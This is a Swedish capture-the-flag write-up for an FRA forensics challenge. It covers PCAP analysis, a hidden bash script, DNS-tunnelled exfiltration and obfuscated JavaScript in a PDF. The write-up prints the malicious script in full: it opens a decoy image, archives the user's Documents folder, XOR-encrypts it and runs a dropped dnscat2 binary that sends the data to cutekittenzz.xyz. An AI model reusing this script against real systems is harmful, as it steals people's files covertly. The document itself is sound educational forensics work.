Kattastrofen

Challengen/CTFen hittas på FRAs challenge sida.

Som dom flesta FRA challenges så börjar även denna med en PCAP fil.

På rad 685 (get request på rad 282) ser vi att användaren laddar ner en zip fil:

Genom att klicka Arkiv -> Exportera objekt -> HTTP så kan vi exportera alla objekt som blivit nerladdade. Vi drar hem alla filer och kollar igenom dom.

Filen %5c är en HTML fil och går utmärkt att öppna i webbläsaren:

Det är zip filen användaren laddade ned. Vi öppnar den och kollar:

Nämen, en flagga, vad trevligt. Vi ser även att en av bilderna är rätt mycket större än dom andra. Hmmm? Extrahera filerna med lösenordet i bilden ovan, så tittar vi närmare på katten-3.jpg.

Jag använder mig av HxD för att snabbt se vad innehållet i en fil är:

Vi ser direkt att det är ett bash script. Den kan vi öppna i VS code för att få bättre läsmöjligheter:


#!/bin/bash

D=$(dirname "$0")
eog "$D/kitten-9.jpg" &

key="P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU="
echo $key |base64 -d > /tmp/key
tar cf - $HOME/Documents > /tmp/exfil.tar
echo "EXFIL $(date)" > /tmp/exfil.dat
echo "SIZE: $(stat -c%s /tmp/exfil.tar)" >> /tmp/exfil.dat
md5sum /tmp/exfil.tar >> /tmp/exfil.dat
echo "BEGIN DATA" >> /tmp/exfil.dat
paste <(od -An -vtu1 -w1 /tmp/exfil.tar) <(while :; do od -An -vtu1 -w1 /tmp/key; done) \
  | LC_ALL=C awk 'NF!=2{exit}; {printf "%c", xor($1, $2)}' | base64 >> /tmp/exfil.dat
echo "END DATA" >> /tmp/exfil.dat

base64 -d > mjau << 'EOM'
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgCkAAAAAAABAAAAAAAAAACgrBQAAAAAAAAAAAEAAOAAN
<----- STOR BASE64 ----->
AAAAAAAAAAAAAAAAAAAA
EOM
chmod +x mjau
./mjau cutekittenzz.xyz

Skriptet är uppdelat i tre delar kan man väl säga. Först så öppnar den kitten-9.jpg, mest troligt för att allt ska se ut som vanligt för användaren. Sedan skapar den en fil att exfiltera och efter det sparar den en lång base64 sträng i en fil döpt till mjau som den kör med argumentet cutekittenzz.xyz.

Vi tittar på base64 strängen i CyberChef:

Det är en ELF fil. Vi sparar ner den. SHA256 för filen är 3c8255547dba00d85c4e580b6cd68d0d5cf5150ce7d624edd9df48b9a0688058, och tyvärr har någon laddat upp den på Virustotal. Där kan vi se i kommentarerna att yarasignaturer matchar för dnscat2. Lite fusk, men visst!

Om vi inte hade haft Virustotal då? Vi kan ganska snabbt ta reda på vad det är genom att göra använda ett program som kollar igenom hela filens strängar, tex FLOSS:

Där ser vi att det är dnscat som gör något! Kollar vi vidare i PCAP filen så ser vi ägen en massa trafik som ser ut så här:

dnscat är ett verktyg liknande en C2 server, det kan användas för att gömma trafik i DNS requests. I vårt fall är det väldigt troligt att denna metod används för att exfiltrara filen som skapas i bash skriptet. Hur får vi tag i denna filen då?

Följande skrev jag i en linuxlåda med wireshark installerat: (ändra pcap filnamnet och filnamn.txt)

tshark -nr kattastrofen.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name > filnamn.txt

Då får vi en textfil som ser ut så här:

Nu behöver vi ta bort .cutekittenzz.xyz samt alla punkter. Jag använder mig av VS code för att göra detta (CTRL + H).

Tar vi sedan hela texten och slänger in i Cyberchef kan vi göra följande:

Receptet (Som går att importera):

Regular_expression('User defined','(?<=^.{18}).+',true,true,false,false,false,false,'List matches')
From_Hex('Auto')
Regular_expression('User defined','BEGIN DATA(.+)END DATA',true,false,true,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',true,false)
XOR({'option':'Base64','string':'P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU='},'Standard',false)
Detect_File_Type(true,true,true,true,true,true,true)

Den första ingrediensen, regexen, tar helt enkelt bort dom 18 första bitarna på varje rad. Av oklar anledning så fungerar det, och jag har ingen aning om varför dom 18 bitarna är med på varje rad.

De andra ingrediensen, omvandlar från hex tillbaka till bitar.

Den tredje gör så att vi bara hanterar allt som är mellan “BEGIN DATA” och “END DATA”, det vill säga filen som blir exfiltrerad.

Fjärde decodar från base64.

Femte ingrediensen XOR:ar innehållet med nyckeln.

Den sjätte är bara en sanity check för att se så att filen inte är korrupt och allt har gått som det ska.

Anledningen till att vi gör detta är bash scriptet som finns i början av sidan, vi följer helt enkelt stegen för att kunna dekryptera filen och läsa vad som exfiltreras. Resultatet är en tar fil!

Vi sparar ner den och ser vad den innehåller (ta bort file type ingrediensen först, annars blir det fel). Innehållet är några mappar, och längst ner i mapparna finns en PDF som har denna fina katten samt flagga2:

Öppnar vi sedan PDFen i tex Cyberchef för att se vad den innehåller ser vi följande:

3 0 obj
<<
/Type /Action
/S /jAVAsCRIPT
/js <5B5D5B28215B5D2B5B5D295B2B5B5D5D2B28215B5D2B5B5D295B212B5B5D2B212B5B5D5D2B28215B5D
<----- LÅNG HEX STRÄNG ----->
2B5B5D5D5D292829290A0A>
>>
endobj

Vilket betyder att där är ett javascript-script inbakat i PDFen. Omvandlar vi den långa hex-strängen så får vi något som ser ut så här:

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+
<--- VÄLDIGT MYCKET MER --->
[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())

Detta ser inte ut som javascript, men det är det…………. Det är något som kallas JSFuck. Vi kan använda oss av tex denna sidan för att omvandla det tillbaka till vanligt javascript.

Då får vi:

const data = [0n, 16777216n, 963362762567186450219276n, 1227815285621149424943362n, 4251180420234710034485506n, 1227908978741191150735617n, 1228942000327703451209986n, 1229089574843243084713986n, 1229089574913611821027586n, 1276163323341699551654156n, 1170935903267323904n, 16393102643729268736n];
if(0.1 + 0.2 == 0.3) 
	{   
		let str = "";   
		for(let x of data) 
		{     
			str += x.toString(2).padStart(106, '0') + "\n";   
		}   
		app.alert(str.replaceAll("0", " ").replaceAll("1", ".")); 
	}

Vi kan skriva om javascript funktionen så vi printar ut variablen "str":

const data = [0n, 16777216n, 963362762567186450219276n, 1227815285621149424943362n, 4251180420234710034485506n, 1227908978741191150735617n, 1228942000327703451209986n, 1229089574843243084713986n, 1229089574913611821027586n, 1276163323341699551654156n, 1170935903267323904n, 16393102643729268736n];
let str = "";   
for(let x of data) 
{     
	str += x.toString(2).padStart(106, '0') + "\n";   
}
console.log(str)

Då får vi:

Och där var den sista flaggan! (Halva bilden är bortklippt för att inte ge bort flaggan)